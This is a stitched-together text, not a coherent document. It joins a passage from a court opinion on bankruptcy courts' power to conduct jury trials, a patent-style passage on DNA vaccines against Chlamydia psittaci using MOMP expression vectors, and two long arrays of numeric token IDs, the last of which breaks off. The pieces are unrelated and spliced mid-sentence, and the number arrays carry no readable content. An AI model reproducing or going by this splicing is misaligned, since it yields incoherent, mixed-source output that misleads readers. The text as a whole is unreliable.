Committee Notes on 1987 Amendment, 11 U.S.C.A. Rule 9015 (abrogated March 30, 1987). *444 As noted by the Eighth Circuit Court of Appeals in In re United Missouri Bank, 901 F.2d at 1455 n. 16, the lone reference in the legislative history to the bankruptcy court's power to conduct a jury trial is less than clear. During a debate on whether to accord the bankruptcy court Article III status, Representative Kindness stated that "the bankruptcy court will conduct the trial, make a recommendation to the district court." 130 Cong.Rec. H6242 (Mar. 21, 1984). He then stated that his amendment, intended to confer Article III status on bankruptcy judges, reflected in essence, "legislative enactment of the emergency bankruptcy rule, the model rule that has been in effect..." However, as noted supra, the Emergency Rules prohibited the bankruptcy court from conducting jury trials. Emergency Rule (d)(1)(D). Additionally, in a statement on consideration of a Senate Conference Report on the 1984 Act, Senator Orrin Hatch recognized that "the conference remedied the flaw discerned by the Supreme Court in the Marathon case." Statement by Sen. Hatch, 1984 U.S.Code Cong. & Admin.News 576, 590, 594. Senator Hatch went on to note that "In Marathon the Supreme Court decided that bankruptcy judges could not adjudicate State law claims." Id. at 596. These statements, viewed in light of Granfinanciera's ruling that claims of private right based on state law are not entitled to trial by jury, militate in favor of a determination that the bankruptcy court may not adjudicate the claims presented here. Moreover, this Court cannot discern any persuasive reason why it would be necessary for the bankruptcy court to be empowered to conduct jury trials in a non-core proceeding in order to carry out its express statutory powers. Based on a careful review of the statutory language and legislative history, the Fifth Circuit Court of Appeals concluded that Congress intended to limit the power of the bankruptcy court under the 1984 Amendments. Griffith v. Oles (In re Hipp, Inc.), 895 F.2d 1503, 1514-15 (5th Cir.1990). The Court therefore refused to find an implied power in the bankruptcy court to impose criminal contempt, stressing also that a serious constitutional question would otherwise be posed: We follow the settled rule that federal statutes, where they may reasonably be so construed without violence to their clear meaning, should be given an interpretation that avoids serious question as to their constitutional validity. In re Hipp, 895 F.2d at 1509 (citing, inter alia, Gomez v. United States, 490 U.S. 858, 864, 109 S.Ct. 2237, 2241, 104 L.Ed.2d 923 (1989)). For the same reasons, this Court finds no implied power in the bankruptcy court to conduct jury trials in non-core proceedings. While the Bankruptcy Code does state that core proceedings include actions to recover preferences and to set aside fraudulent conveyances, the Supreme Court in Granfinanciera placed a gloss on that statutory language. Granfinanciera suggests that the core and non-core designations made by Congress are not dispositive of the Seventh Amendment right to a trial by jury. See Granfinanciera, 492 U.S. at 61, 109 S.Ct. at 2800 ("This purely taxonomic change cannot alter our Seventh Amendment analysis.") By extension, such blanket labels should not dictate which forum may conduct a jury trial. In view of the fact that (a) the claims to recover a preference and to set aside fraudulent conveyances have not been raised against the bankruptcy estate, and (b) these legal claims involve private rights based on state law, they are entitled to be tried by a jury. See discussion infra. Pursuant to the foregoing analysis, this Court concludes also that the bankruptcy court lacks statutory authority to conduct a jury trial of these particular claims, whether or not the 1984 Amendments denominate them, in a generic sense, as core or non-core. See, e.g., Durbin, 62 B.R. at 142 ("... a case does not become a core proceeding simply because it is within a 28 U.S.C. § 157(b)(2) technical description.") Having so determined, the Court declines to reach the further issue of whether Article III and/or the Seventh Amendment raise constitutional barriers to the Bankruptcy Court's power to conduct jury trials. *445 The Court likewise finds no need to reach Community Bank's additional argument that withdrawal of the reference is mandatory under 28 U.S.C. § 157(d), in view of the

[ 89, 26, 69, 273, 11390, 1146, 4209, 281, 10808, 271, 7026, 2380, 15, 187, 688, 247, 2173, 14704, 13, 253, 1246, 3688, 3400, 247, 5889, 534, 310, 12107, 1411, 247, 775, 5247, 32922, 3714, 770, 26293, 5066, 275, 5074, 13, 1690, 47874, 3417, 13, 11616, 247, 11234, 273, 27320, 3527, 2048, 11390, 11616, 247, 41155, 12634, 30333, 7939, 281, 247, 27320, 3527, 9706, 253, 8898, 3527, 3425, 873, 6593, 275, 6725, 50, 5417, 7651, 27, 24, 390, 6725, 50, 5417, 7651, 27, 25, 275, 247, 7800, 11698, 1037, 12207, 10289, 15, 187, 688, 247, 2007, 2173, 14704, 13, 253, 1246, 3688, 3400, 247, 5889, 534, 310, 12107, 1411, 775, 5247, 32922, 3714, 770, 26293, 10332, 275, 5074, 13, 1690, 47874, 3417, 13, 11616, 247, 11234, 273, 27320, 3527, 2048, 11390, 11616, 247, 41155, 12634, 30333, 7939, 281, 581, 390, 625, 18379, 6430, 4236, 432, 253, 1387, 11253, 273, 27, 6725, 50, 5417, 7651, 27, 20, 13, 6725, 50, 5417, 7651, 27, 21, 13, 6725, 50, 5417, 7651, 27, 22, 285, 6725, 50, 5417, 7651, 27, 23, 275, 247, 7800, 11698, 1037, 12207, 10289, 15, 187, 688, 247, 2173, 14704, 13, 253, 27320, 3527, 2048, 4972, 12093, 247, 4554, 485, 9896, 22264, 12634, 30333, 7939, 281, 247, 27320, 3527, 9706, 657, 37, 20, 285, 657, 37, 21, 273, 353, 2277, 49, 13, 323, 1650, 1907, 253, 18379, 3425, 873, 6593, 275, 2057, 6725, 50, 5417, 7651, 27, 20, 13, 6725, 50, 5417, 7651, 27, 21, 13, 6725, 50, 5417, 7651, 27, 22, 390, 6725, 50, 5417, 7651, 27, 23, 15, 187, 47, 2627, 280, 5192, 2352, 16, 55, 646, 641, 16, 55, 3649, 1100, 14, 16691, 187, 510, 27320, 3527, 9706, 253, 353, 2277, 49, 36966, 476, 320, 667, 27320, 3527, 326, 30333, 31360, 253, 353, 2277, 49, 36966, 15, 1198, 1650, 13, 281, 30333, 22573, 13, 891, 15, 70, 904, 1581, 253, 27320, 3527, 281, 320, 4469, 13, 253, 27320, 3527, 476, 2486, 13, 323, 1650, 13, 2048, 1453, 6430, 13, 824, 347, 271, 6510, 273, 14970, 13, 247, 12634, 13, 271, 48060, 13, 285, 3309, 1491, 5162, 4375, 13, 824, 347, 9412, 10217, 4865, 4375, 13, 5771, 37690, 4375, 13, 3488, 12670, 16499, 4375, 13, 285, 18304, 1307, 12915, 6430, 15, 25585, 13004, 2048, 1453, 6430, 403, 2266, 285, 16, 263, 49217, 28960, 824, 347, 1110, 6012, 432, 11937, 837, 41568, 3608, 13, 20143, 3608, 13, 40523, 3608, 13, 42168, 13, 17370, 1449, 13, 416, 528, 45928, 6581, 13, 12067, 22264, 13, 21963, 46074, 3691, 6581, 13, 3966, 15, 329, 27320, 3527, 9706, 247, 4236, 353, 2277, 49, 36966, 476, 12450, 320, 3413, 1754, 2220, 253, 6380, 2127, 323, 253, 8898, 3527, 3425, 273, 253, 4236, 353, 2277, 49, 36966, 13, 285, 13, 4518, 13, 1142, 27320, 9532, 588, 22573, 667, 4236, 19114, 6555, 2601, 15, 4559, 6787, 281, 253, 27320, 9532, 273, 253, 3688, 403, 671, 32376, 13, 1580, 9197, 476, 7624, 320, 5421, 323, 3687, 12107, 12538, 1055, 15, 9157, 13, 14586, 326, 476, 320, 4217, 403, 14586, 281, 253, 6430, 10938, 2048, 273, 253, 353, 2277, 49, 36966, 281, 1056, 3275, 273, 253, 353, 2277, 49, 36966, 49217, 390, 1234, 560, 917, 2220, 1635, 281, 253, 1341, 273, 253, 4569, 3132, 1209, 390, 1234, 32232, 15, 6102, 2097, 403, 2629, 275, 253, 1445, 313, 2887, 13, 299, 15, 72, 904, 15, 322, 1369, 287, 536, 1162, 355, 904, 26024, 1639, 12777, 27, 329, 18196, 28609, 13, 374, 2109, 3619, 904, 20754, 10039, 28670, 18196, 13, 20754, 10039, 28670, 13, 427, 15, 58, 904, 11161, 481, 380, 27320, 9532, 476, 320, 4561, 407, 2097, 2629, 275, 253, 1445, 13, 824, 347, 407, 17415, 27320, 3527, 5609, 13, 347, 45045, 275, 253, 6667, 11249, 13, 285, 407, 13506, 27320, 3527, 9066, 390, 275, 7991, 27845, 9066, 15, 187, 510, 2048, 11390, 273, 253, 3688, 476, 320, 275, 247, 3167, 7032, 273, 13002, 253, 353, 2277, 49, 36966, 2984, 2646, 390, 253, 353, 7282, 14, 46, 2277, 49, 11781, 2601, 2984, 2646, 15, 1707, 403, 7418, 444, 15, 14347, 2048, 11390, 1929, 281, 581, 273, 9826, 10861, 275, 253, 1445, 4217, 323, 253, 2048, 273, 253, 11611, 15, 5131, 20180, 14516, 7470, 323, 897, 2486, 45003, 3370, 13, 824, 347, 378, 27755, 749, 1343, 316, 13, 285, 643, 4901, 13385, 74, 20448, 13, 824, 347, 6470, 34640, 13, 322, 1000, 255, 571, 13, 285, 2710, 38365, 31911, 3417, 15, 496, 841, 354, 76, 552, 3875, 14516, 581, 476, 671, 1056, 2048, 11390, 13, 534, 588, 5431, 3831, 2048, 1453, 6430, 13333, 342, 253, 3167, 894, 313, 70, 15, 72, 904, 271, 6510, 273, 14970, 481, 496, 1635, 13, 667, 1180, 273, 247, 5235, 273, 973, 14, 4304, 28960, 588, 320, 1246, 13, 824, 347, 253, 16184, 583, 12634, 985, 13, 247, 46055, 42188, 313, 2290, 81, 10, 12634, 985, 13, 247, 9840, 14, 33316, 312, 511, 12634, 985, 13, 390, 247, 12634, 985, 432, 35966, 29331, 15, 380, 28960, 588, 5431, 1453, 2048, 13, 33323, 342, 271, 5572, 3425, 13, 285, 452, 9412, 10217, 4865, 2670, 6430, 323, 1650, 13, 323, 36300, 285, 21006, 9464, 285, 10234, 15, 1310, 3309, 271, 8898, 8351, 10258, 41568, 476, 320, 2530, 407, 16941, 273, 247, 6365, 33442, 608, 7096, 19, 89, 1438, 89, 19, 285, 275, 14, 6301, 342, 253, 11611, 15, 5220, 13, 253, 22236, 1190, 14, 14104, 6880, 273, 253, 11611, 476, 320, 5176, 970, 2629, 46383, 45889, 7259, 15, 187, 28144, 13, 15727, 2048, 2718, 476, 320, 908, 15, 1707, 778, 320, 2067, 11361, 281, 15727, 2048, 2718, 15, 3973, 13, 1941, 4961, 326, 4324, 4197, 275, 247, 15727, 15088, 2718, 10738, 3451, 47821, 25015, 15, 6347, 13, 1501, 14, 34881, 1050, 26988, 16499, 310, 14556, 4824, 562, 407, 15727, 42323, 2718, 15, 380, 322, 17282, 36315, 41866, 638, 14, 856, 14, 1637, 14, 19012, 6657, 2919, 313, 36034, 407, 253, 30794, 34833, 18, 14, 18, 3320, 10, 310, 21774, 908, 281, 1480, 2601, 15088, 432, 15727, 313, 32893, 413, 1162, 355, 904, 12459, 481, 380, 6657, 2919, 273, 638, 14, 856, 14, 1637, 14, 19012, 4428, 247, 2625, 11541, 285, 247, 354, 14, 29429, 534, 3797, 247, 8981, 3425, 323, 247, 15727, 25223, 16202, 407, 253, 611, 4237, 19, 3320, 27, 436, 9548, 1391, 3465, 253, 20379, 2601, 327, 253, 22236, 1190, 1930, 273, 247, 31300, 14, 11141, 1073, 42387, 21725, 14, 27644, 3425, 15, 380, 11611, 12425, 3425, 476, 320, 29843, 275, 14, 6301, 281, 253, 638, 14, 856, 14, 1637, 14, 19012, 6657, 2919, 15, 831, 3989, 310, 840, 1691, 762, 253, 1453, 273, 247, 2266, 9464, 12634, 13, 824, 347, 253, 7665, 28421, 309, 12634, 390, 247, 22471, 7713, 12634, 15, 380, 11611, 12425, 3425, 310, 3560, 407, 247, 10234, 15056, 33442, 534, 310, 3560, 407, 9464, 15056, 6298, 15, 20564, 13, 253, 11611, 12425, 6430, 476, 320, 29843, 281, 247, 1273, 2601, 12425, 3425, 13, 824, 347, 322, 75, 1731, 390, 34833, 19, 14, 42957, 44555, 13, 908, 281, 12454, 23609, 273, 253, 11781, 2601, 407, 15430, 19849, 15, 380, 16941, 273, 25223, 21725, 4375, 281, 4858, 253, 4295, 273, 253, 11781, 2601, 310, 7763, 281, 21031, 908, 323, 2048, 275, 15727, 15, 187, 28144, 13, 21744, 1341, 9659, 253, 2048, 273, 4324, 275, 271, 3126, 326, 32955, 1774, 1501, 14, 34881, 1050, 14586, 824, 347, 23205, 285, 35750, 25015, 13, 1635, 273, 2570, 30825, 5289, 13, 285, 15088, 273, 3939, 2601, 15, 657, 646, 641, 4217, 323, 253, 2048, 273, 11611, 275, 21744, 1341, 403, 7943, 407, 16941, 273, 253, 11611, 12425, 3425, 875, 247, 2266, 9907, 12634, 285, 247, 3488, 12670, 16499, 2625, 15, 380, 11390, 476, 3831, 3608, 1461, 24247, 2057, 8030, 12614, 249, 390, 10258, 302, 18398, 366, 5052, 323, 897, 347, 3609, 494, 9588, 15, 380, 11611, 285, 32242, 4507, 10087, 12425, 3425, 476, 320, 5611, 715, 247, 5628, 10546, 2971, 43735, 894, 1386, 970, 247, 10258, 302, 18398, 366, 5052, 14, 27676, 4972, 15, 3327, 566, 273, 253, 4972, 3882, 275, 13657, 1341, 476, 320, 5783, 407, 10586, 1783, 285, 3275, 273, 271, 5771, 3969, 281, 253, 11611, 12425, 3425, 476, 320, 5783, 407, 11442, 1783, 15, 329, 1180, 273, 643, 7470, 3167, 894, 3104, 7032, 273, 15324, 1076, 15282, 1966, 4324, 452, 644, 3715, 275, 253, 1445, 13, 285, 2486, 253, 45534, 894, 3104, 13, 33795, 1341, 13, 16203, 3691, 894, 3104, 13, 23124, 29846, 1341, 13, 3966, 15, 18299, 11390, 323, 841, 1341, 476, 2486, 2048, 1453, 6430, 13, 824, 347, 271, 6510, 273, 14970, 13, 247, 12634, 13, 271, 48060, 13, 285, 3309, 1491, 5162, 4375, 13, 824, 347, 9412, 10217, 4865, 4375, 13, 5771, 37690, 4375, 13, 3488, 12670, 16499, 4375, 13, 285, 18304, 1307, 12915, 6430, 15, 25585, 13004, 2048, 1453, 6430, 403, 28960, 6012, 432, 40523, 3608, 13, 17370, 1449, 13, 2006, 257, 22264, 13, 378, 729, 460, 17206, 408, 3691, 46269, 13, 3966, 15, 380, 11390, 4508, 253, 3882, 13288, 273, 1600, 476, 320, 9495, 715, 253, 3167, 894, 407, 973, 14, 4304, 3082, 13, 534, 6889, 7293, 327, 253, 1511, 273, 7842, 3167, 15, 1198, 1650, 13, 11672, 21437, 23879, 310, 7744, 12845, 323, 354, 76, 552, 3875, 1341, 13, 5727, 11672, 17016, 1971, 390, 1516, 1658, 7843, 778, 320, 908, 323, 643, 7842, 14516, 15, 187, 26149, 800, 11390, 323, 253, 2048, 273, 11611, 275, 21744, 1341, 13, 1110, 2074, 281, 1110, 3715, 323, 253, 2048, 273, 1966, 17356, 14, 2388, 1592, 251, 13, 4408, 26507, 1222, 2646, 35196, 13, 31301, 1076, 16090, 29136, 13, 21366, 378, 6581, 2553, 11611, 13, 25223, 35575, 249, 77, 13, 285, 26820, 15019, 2201, 5044, 2601, 13, 476, 320, 7091, 15, 3840, 13, 253, 4972, 476, 2486, 4554, 485, 9896, 22264, 313, 36420, 10, 12634, 6430, 285, 247, 3488, 12670, 16499, 2625, 2130, 323, 2048, 273, 13400, 3882, 84, 275, 21744, 1341, 15, 187, 510, 27320, 3527, 11390, 323, 15550, 2048, 275, 247, 41155, 894, 403, 7470, 323, 6380, 13, 390, 12762, 19, 89, 1438, 89, 26, 14340, 6840, 27320, 3527, 7096, 19, 89, 1438, 89, 26, 69, 13, 33145, 15, 2053, 476, 320, 8818, 970, 667, 273, 247, 5235, 273, 41155, 28960, 13, 11249, 671, 6289, 281, 347, 21693, 14, 20594, 9464, 16, 20099, 10545, 6430, 13, 1929, 275, 253, 1445, 15, 4214, 3082, 323, 253, 5140, 13, 3275, 285, 5286, 273, 27320, 3527, 21268, 403, 1929, 275, 253, 1445, 13, 299, 15, 72, 15, 657, 40836, 13, 7499, 285, 427, 9997, 332, 313, 12731, 10, 35412, 15, 12761, 4193, 311, 15, 3555, 15, 854, 27, 24854, 14, 30889, 15, 187, 6872, 27320, 3527, 11390, 19142, 27320, 9532, 326, 30333, 22573, 13, 891, 15, 70, 15, 403, 30333, 7939, 281, 247, 27320, 3527, 9706, 247, 353, 2277, 49, 36966, 15, 1198, 1650, 13, 281, 30333, 22573, 13, 891, 15, 70, 904, 1581, 253, 27320, 3527, 281, 320, 4469, 13, 253, 27320, 3527, 476, 2486, 13, 323, 1650, 13, 2048, 1453, 6430, 13, 824, 347, 247, 21693, 14, 20594, 9464, 16, 20099, 10545, 3425, 313, 681, 20733, 581, 390, 625, 273, 253, 1563, 27, 247, 12634, 13, 2380, 3284, 9, 84, 582, 271, 9347, 1080, 3425, 582, 271, 48060, 13, 285, 1491, 5162, 4375, 13, 824, 347, 9412, 10217, 4865, 4375, 13, 5771, 37690, 4375, 13, 40131, 3603, 13, 3488, 12670, 16499, 4375, 13, 285, 18304, 1307, 12915, 6430, 13, 512, 273, 534, 13, 2057, 3815, 390, 275, 13553, 13, 403, 7032, 273, 25091, 2048, 275, 253, 2303, 5893, 15, 25585, 13004, 2048, 1453, 6430, 403, 2266, 285, 16, 263, 49217, 21693, 14, 20594, 9464, 16, 20099, 10545, 6430, 824, 347, 1110, 6012, 432, 11937, 837, 41568, 3608, 13, 20143, 3608, 13, 48114, 3608, 13, 40523, 3608, 13, 4554, 485, 9896, 22264, 313, 36420, 582, 17370, 1449, 13, 416, 528, 45928, 6581, 13, 12067, 22264, 13, 21963, 46074, 3691, 6581, 13, 3966, 15, 380, 330, 15, 3714, 770, 26293, 353, 2277, 49, 14, 27676, 27320, 3527, 285, 2048, 1453, 6430, 403, 8818, 275, 247, 4972, 13, 824, 347, 247, 18242, 273, 10741, 6510, 13, 323, 5286, 281, 253, 2303, 5893, 15, 1707, 403, 7418, 29530, 1929, 281, 1110, 273, 9826, 10861, 275, 253, 1445, 4217, 323, 253, 3275, 273, 27320, 3527, 12538, 29530, 15, 329, 2173, 14704, 27532, 21031, 970, 253, 18242, 12762, 19, 89, 1438, 89, 26, 68, 5902, 8354, 20, 15, 18, 12, 7096, 19, 89, 1438, 89, 26, 69 ]

x9d of vectors being sufficient to induce an immune response. In a specific embodiment, the present invention provides a composition which is protective against a Chlamydia psittaci infection in animals, including avian species, comprising a plurality of nucleic acid expression vectors comprising a eukaryotic promoter functionally linked to a nucleic acid encoding the amino acid sequence set forth in SEQ ID NO:7 or SEQ ID NO:8 in a pharmaceutically acceptable carrier. In a further specific embodiment, the present invention provides a composition which is protective against Chlamydia psittaci infections in animals, including avian species, comprising a plurality of nucleic acid expression vectors comprising a eukaryotic promoter functionally linked to one or more nucleotide sequences selected from the group consisting of: SEQ ID NO:3, SEQ ID NO:4, SEQ ID NO:5 and SEQ ID NO:6 in a pharmaceutically acceptable carrier. In a specific embodiment, the nucleic acid expression vector comprises a cytomegalovirus promoter functionally linked to a nucleic acid encoding VD3 and VD4 of MOMP, for example having the nucleotide sequence set forth in either SEQ ID NO:3, SEQ ID NO:4, SEQ ID NO:5 or SEQ ID NO:6. Nucleic Acids/Vectors/Vaccines-general The nucleic acid encoding the MOMP polypeptide can be any nucleic acid that functionally encodes the MOMP polypeptide. For example, to functionally encode, i.e., allow the nucleic acid to be expressed, the nucleic acid can include, for example, expression control sequences, such as an origin of replication, a promoter, an enhancer, and necessary information processing sites, such as ribosome binding sites, RNA splice sites, polyadenylation sites, and transcriptional terminator sequences. Preferred expression control sequences are strong and/or inducible promoters such as those derived from metallothionine genes, actin genes, immunoglobulin genes, CMV, SV40, Rous sarcoma virus, adenovirus, bovine papilloma virus, etc. A nucleic acid encoding a selected MOMP polypeptide can readily be determined based upon the genetic code for the amino acid sequence of the selected MOMP polypeptide, and, clearly, many nucleic acids will encode any selected chimeric protein. Modifications to the nucleic acids of the invention are also contemplated, since mutations can thereby be studied for greater protective vaccine effect. Additionally, modifications that can be useful are modifications to the sequences controlling expression of the MOMP polypeptide to make production of the MOMP polypeptide inducible or repressible upon addition to the cells of the appropriate inducer or repressor. Such means are standard in the art (see, e.g.,. Sambrook et al., Molecular Cloning: A Laboratory Manual, 2nd Ed., Cold Spring Harbor Laboratory, Cold Spring Harbor, N.Y., 1989). The nucleic acids can be generated by means standard in the art, such as by recombinant nucleic acid techniques, as exemplified in the examples herein, and by synthetic nucleic acid synthesis or in vitro enzymatic synthesis. The expression vectors of the invention can be in a host capable of expressing the MOMP polypeptide immunogen or the MBP-MOMP fusion protein immunogen. There are numerous E. coli expression vectors known to one of ordinary skill in the art useful for the expression of the antigen. Other microbial hosts suitable for use include bacilli, such as Bacillus subtilus, and other enterobacteriaceae, such as Salmonella, Serratia, and various Pseudomonas species. In these prokaryotic hosts one can also make expression vectors, which will typically contain expression control sequences compatible with the host cell (e.g., an origin of replication). In addition, any number of a variety of well-known promoters will be present, such as the lactose promoter system, a tryptophan (Trp) promoter system, a beta-lactamase promoter system, or a promoter system from phage lambda. The promoters will typically control expression, optionally with an operator sequence, and have ribosome binding site sequences for example, for initiating and completing transcription and translation. If necessary an amino terminal methionine can be provided by insertion of a Met codon 5xe2x80x2 and in-frame with the antigen. Also, the carboxyl-terminal extension of the antigen can be removed using standard oligonucleotide mutagenesis procedures. Additionally, yeast expression systems can be used. There may be several advantages to yeast expression systems. First, evidence exists that proteins produced in a yeast secretion systems exhibit correct disulfide pairing. Second, post-translational glycosylation is efficiently carried out by yeast secretory systems. The Saccharomyces cerevisiae pre-pro-alpha-factor leader region (encoded by the MF xcex1-1 gene) is routinely used to direct protein secretion from yeast (Brake et al., 1984). The leader region of pre-pro-alpha-factor contains a signal peptide and a pro-segment which includes a recognition sequence for a yeast protease encoded by the KEX2 gene: this enzyme cleaves the precursor protein on the carboxyl side of a Lys-Arg dipeptide cleavage-signal sequence. The antigen coding sequence can be fused in-frame to the pre-pro-alpha-factor leader region. This construct is then put under the control of a strong transcription promoter, such as the alcohol dehydrogenase I promoter or a glycolytic promoter. The antigen coding sequence is followed by a translation termination codon which is followed by transcription termination signals. Alternatively, the antigen coding sequences can be fused to a second protein coding sequence, such as Sj26 or xcex2-galactosidase, used to facilitate purification of the fusion protein by affinity chromatography. The insertion of protease cleavage sites to separate the components of the fusion protein is applicable to constructs used for expression in yeast. Additionally, mammalian cells permit the expression of proteins in an environment that favors important post-translational modifications such as folding and cysteine pairing, addition of complex carbohydrate structures, and secretion of active protein. Vectors useful for the expression of antigen in mammalian cells are characterized by insertion of the antigen coding sequence between a strong viral promoter and a polyadenylation signal. The vectors can contain genes conferring either gentamicin or methotrexate resistance for use as selectable markers. The antigen and immunoreactive fragment coding sequence can be introduced into a Chinese hamster ovary cell line using a methotrexate resistance-encoding vector. Presence of the vector DNA in transformed cells can be confirmed by Southern analysis and production of an RNA corresponding to the antigen coding sequence can be confirmed by Northern analysis. A number of other suitable host cell lines capable of secreting intact human proteins have been developed in the art, and include the CHO cell lines, HeLa cells, myeloma cell lines, Jurkat cells, etc. Expression vectors for these cells can include expression control sequences, such as an origin of replication, a promoter, an enhancer, and necessary information processing sites, such as ribosome binding sites, RNA splice sites, polyadenylation sites, and transcriptional terminator sequences. Preferred expression control sequences are promoters derived from immunoglobulin genes, SV40, Adenovirus, Bovine Papilloma Virus, etc. The vectors containing the DNA segments of interest can be transferred into the host cell by well-known methods, which vary depending on the type of cellular host. For example, calcium chloride transfection is commonly utilized for prokaryotic cells, whereas calcium phosphate treatment or electroporation may be used for other cellular hosts. Alternative vectors for the expression of antigen in mammalian cells, those similar to those developed for the expression of human gamma-interferon, tissue plasminogen activator, clotting Factor VIII, hepatitis B virus surface antigen, protease Nexinl, and eosinophil major basic protein, can be employed. Further, the vector can include cytomegalovirus (CMV) promoter sequences and a polyadenylation signal available for expression of inserted DNAs in mammalian cells. The nucleic acid vectors for transient expression in a eukaryotic cell are suitable for genetic, or xe2x80x9cnaked nucleic acidxe2x80x9d, immunization. These can be constructed using any of a variety of eukaryotic promoters, herein also referred to as cis-acting transcription/translation regulatory sequences, known in the art. General methods for the construction, production and administration of nucleic acid vaccines are known in the art, e.g. Vogel, FR and N Sarver (1995) Clin. Microbiol. Rev. 8:406-410. These nucleic acid vectors comprise nucleic acids that functionally encode, i.e. are functionally linked to a nucleic acid encoding a MOMP polypeptide. For example, to functionally encode, i.e., allow the nucleic acid to be expressed, the nucleic acid can include, for example, expression control sequences, such as a cis-acting transcription/translation regulatory sequence (comprising one or more of the following: a promoter, response element(s), an initiator sequence), an enhancer, and information processing sites, such as ribosome binding sites, RNA splice sites, intron elements, polyadenylation sites, and transcriptional terminator sequences, all of which, either alone or in combinations, are capable of directing expression in the target animal. Preferred expression control sequences are strong and/or inducible cis-acting transcription/translation regulatory sequences such as those derived from metallothionine genes, actin genes, myosin genes, immunoglobulin genes, cytomegalovirus (CMV), SV40, Rous sarcoma virus, adenovirus, bovine papilloma virus, etc. The C. psittaci MOMP-encoding nucleic acid and expression control sequences are constructed in a vector, such as a plasmid of bacterial origin, for administration to the target animal. There are numerous plasmids known to those of ordinary skill in the art useful for the production of nucleic acid vaccine plasmids. A specific embodiment employs constructs using the plasmid xe2x80x9cpcDNA3.1+xe2x80x9d

[ 37136, 680, 7679, 36295, 270, 472, 8636, 15361, 1087, 3847, 38239, 570, 1629, 80, 12987, 5282, 571, 15, 411, 13332, 2721, 75, 15715, 257, 466, 25613, 391, 91, 886, 41338, 5172, 13448, 79, 9230, 13, 48689, 458, 68, 5282, 466, 7687, 1615, 8754, 39867, 27870, 5549, 1182, 284, 324, 29879, 513, 44827, 311, 2369, 26968, 258, 5744, 259, 10115, 280, 607, 268, 2040, 66, 8718, 250, 12040, 77, 531, 2184, 819, 48385, 391, 41338, 6421, 465, 43792, 39036, 15, 4591, 13448, 7876, 716, 2137, 3938, 74, 270, 10060, 69, 9230, 705, 7679, 79, 6035, 13, 1121, 319, 74, 324, 14743, 27870, 20244, 819, 3847, 75, 10060, 5297, 358, 819, 4337, 78, 7173, 319, 24130, 1684, 2040, 5985, 13, 1049, 293, 10441, 9230, 68, 1182, 274, 1370, 358, 258, 44446, 1684, 3178, 466, 513, 2963, 91, 21432, 7679, 3155, 7684, 1954, 67, 13, 21844, 10087, 14261, 90, 14617, 9230, 951, 30811, 1954, 67, 5030, 249, 1914, 1182, 21432, 9948, 441, 20257, 10060, 555, 15, 4591, 13448, 7876, 716, 2137, 3938, 74, 270, 10060, 69, 9230, 705, 7679, 79, 6035, 13, 270, 10060, 18367, 9623, 90, 36032, 965, 259, 759, 7679, 8311, 20244, 518, 916, 11413, 9948, 2578, 42756, 653, 376, 680, 38218, 16642, 13, 1182, 274, 1370, 358, 270, 472, 8636, 2963, 3847, 555, 939, 466, 15715, 23364, 75, 9230, 68, 819, 317, 10060, 3199, 66, 803, 35457, 6572, 29846, 437, 8901, 15, 399, 9877, 10060, 76, 10441, 10060, 1349, 20729, 296, 44217, 20244, 1484, 88, 356, 10060, 15, 187, 4604, 15949, 31178, 1452, 416, 447, 187, 12309, 466, 38790, 999, 351, 9335, 41338, 951, 2, 775, 68, 10060, 7360, 9877, 10060, 76, 11413, 9948, 13332, 91, 36812, 653, 376, 680, 38218, 1403, 951, 13, 3199, 86, 803, 7679, 319, 74, 6572, 29846, 437, 261, 319, 74, 13, 258, 5744, 5847, 23287, 258, 37136, 67, 317, 5282, 466, 5497, 75, 32844, 653, 1954, 129, 120, 79, 1914, 571, 15, 411, 5741, 7679, 312, 50242, 10060, 564, 26968, 819, 3847, 1615, 7679, 3155, 513, 11031, 891, 45439, 992, 80, 14261, 274, 7679, 312, 5549, 4274, 255, 10060, 1182, 295, 827, 928, 42686, 1121, 1954, 129, 120, 79, 1914, 9623, 15, 187, 56, 1140, 76, 29408, 803, 728, 5282, 571, 11031, 2963, 12040, 22084, 10060, 37184, 2184, 391, 91, 324, 42686, 30811, 706, 297, 13, 36223, 250, 278, 571, 7679, 312, 8718, 1370, 75, 10060, 20573, 11413, 9948, 259, 12980, 25362, 7679, 1105, 687, 13312, 1182, 18198, 43992, 7679, 358, 24520, 636, 261, 428, 19454, 75, 3319, 466, 2184, 331, 319, 274, 91, 656, 5282, 571, 19162, 75, 290, 18538, 48568, 1182, 10641, 1954, 5297, 7679, 312, 1484, 88, 356, 10060, 5549, 269, 21216, 13, 33604, 281, 7687, 13332, 13, 7687, 13124, 90, 1182, 1079, 13448, 90, 13, 39173, 259, 656, 23988, 1501, 1403, 303, 90, 594, 17782, 1684, 38852, 886, 32786, 10060, 259, 13332, 91, 3155, 33425, 571, 7679, 6451, 607, 5549, 391, 91, 886, 91, 19162, 75, 290, 18538, 13, 36223, 250, 7318, 7679, 70, 35983, 5173, 33078, 29879, 5173, 38435, 9230, 13448, 9230, 1182, 1501, 10060, 81, 358, 270, 2960, 20729, 13, 891, 259, 35457, 12040, 10633, 281, 44274, 91, 1362, 74, 7679, 13332, 91, 16753, 7679, 653, 376, 680, 38218, 1403, 6357, 13, 1182, 79, 317, 91, 10633, 17022, 76, 1221, 10633, 75, 830, 86, 7679, 10441, 9230, 68, 43681, 296, 819, 4337, 296, 1403, 279, 90, 819, 48385, 17644, 261, 75, 10060, 13, 187, 47, 827, 928, 4530, 8374, 91, 5830, 273, 11158, 391, 91, 324, 76, 469, 30811, 1954, 67, 259, 16288, 13448, 69, 1105, 465, 376, 7589, 891, 33971, 856, 84, 5282, 466, 946, 75, 267, 39660, 14617, 33841, 259, 728, 3847, 2963, 7318, 7679, 24130, 13124, 466, 37441, 1362, 74, 9230, 1182, 963, 348, 30811, 1954, 67, 1061, 31925, 819, 44109, 7679, 324, 726, 16853, 317, 8020, 13, 259, 36223, 250, 75, 45718, 32250, 570, 33425, 571, 7679, 24132, 5549, 18558, 68, 2721, 1559, 86, 19454, 75, 3319, 303, 25613, 36394, 88, 91, 3129, 10060, 69, 10633, 17022, 466, 14617, 570, 15, 30672, 5228, 1182, 30023, 79, 1105, 2636, 5616, 25613, 37949, 656, 17369, 466, 759, 7679, 10633, 4305, 2721, 75, 259, 728, 3847, 258, 963, 348, 30811, 706, 607, 13, 18198, 375, 76, 2814, 257, 466, 3457, 493, 90, 5985, 891, 1313, 351, 458, 68, 5282, 571, 13, 258, 5744, 14366, 406, 5282, 466, 19162, 75, 290, 18538, 891, 18119, 12591, 38781, 458, 793, 41338, 1121, 36332, 9230, 15, 187, 49, 6002, 493, 32444, 15715, 3847, 22084, 12040, 29408, 268, 1767, 24132, 258, 23284, 12935, 